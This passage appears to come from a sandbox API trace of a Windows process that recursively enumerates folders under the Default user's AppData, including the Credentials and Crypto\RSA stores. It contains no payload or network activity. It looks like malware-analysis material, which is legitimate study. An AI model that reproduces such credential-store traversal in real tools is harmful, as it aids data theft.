	[0082.408] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0082.408] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.408] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.408] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x1264eaf8 | out: lpFileInformation=0x1264eaf8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.408] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.408] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.408] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.408] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1
	[0082.409] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.409] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache"), fInfoLevelId=0x0, lpFileInformation=0x1264eb98 | out: lpFileInformation=0x1264eb98*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.409] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.409] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.409] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.410] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content"), fInfoLevelId=0x0, lpFileInformation=0x1264ec88 | out: lpFileInformation=0x1264ec88*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.410] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.410] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.410] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.411] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), fInfoLevelId=0x0, lpFileInformation=0x1264ed78 | out: lpFileInformation=0x1264ed78*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x228)) returned 1
	[0082.411] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\94308059b57b3142e455b38a6eb92015"), fInfoLevelId=0x0, lpFileInformation=0x1264edc8 | out: lpFileInformation=0x1264edc8*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.411] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata"), fInfoLevelId=0x0, lpFileInformation=0x1264ee18 | out: lpFileInformation=0x1264ee18*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.411] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.411] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.411] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.411] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), fInfoLevelId=0x0, lpFileInformation=0x1264ef08 | out: lpFileInformation=0x1264ef08*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x104)) returned 1
	[0082.412] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\94308059b57b3142e455b38a6eb92015"), fInfoLevelId=0x0, lpFileInformation=0x1264ef58 | out: lpFileInformation=0x1264ef58*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1
	[0082.412] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming" (normalized: "c:\\users\\default\\appdata\\roaming"), fInfoLevelId=0x0, lpFileInformation=0x1264efa8 | out: lpFileInformation=0x1264efa8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.412] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming" (normalized: "c:\\users\\default\\appdata\\roaming"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.412] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.412] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.412] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities" (normalized: "c:\\users\\default\\appdata\\roaming\\identities"), fInfoLevelId=0x0, lpFileInformation=0x1264f098 | out: lpFileInformation=0x1264f098*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.412] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities" (normalized: "c:\\users\\default\\appdata\\roaming\\identities"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.412] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.412] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.413] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" (normalized: "c:\\users\\default\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}"), fInfoLevelId=0x0, lpFileInformation=0x1264f138 | out: lpFileInformation=0x1264f138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.413] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" (normalized: "c:\\users\\default\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.413] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.413] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.413] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x1264f188 | out: lpFileInformation=0x1264f188*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.414] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.414] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.415] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.416] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\credentials"), fInfoLevelId=0x0, lpFileInformation=0x1264f3b8 | out: lpFileInformation=0x1264f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.417] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\credentials"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.417] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.417] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.417] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto"), fInfoLevelId=0x0, lpFileInformation=0x1264f408 | out: lpFileInformation=0x1264f408*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.417] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.417] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.417] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.418] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto\\rsa"), fInfoLevelId=0x0, lpFileInformation=0x1264f4a8 | out: lpFileInformation=0x1264f4a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.418] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto\\rsa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.418] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.418] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.418] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer"), fInfoLevelId=0x0, lpFileInformation=0x1264f4f8 | out: lpFileInformation=0x1264f4f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda27f60, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.418] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.418] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda27f60, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.418] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.418] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch"), fInfoLevelId=0x0, lpFileInformation=0x1264f598 | out: lpFileInformation=0x1264f598*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.419] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
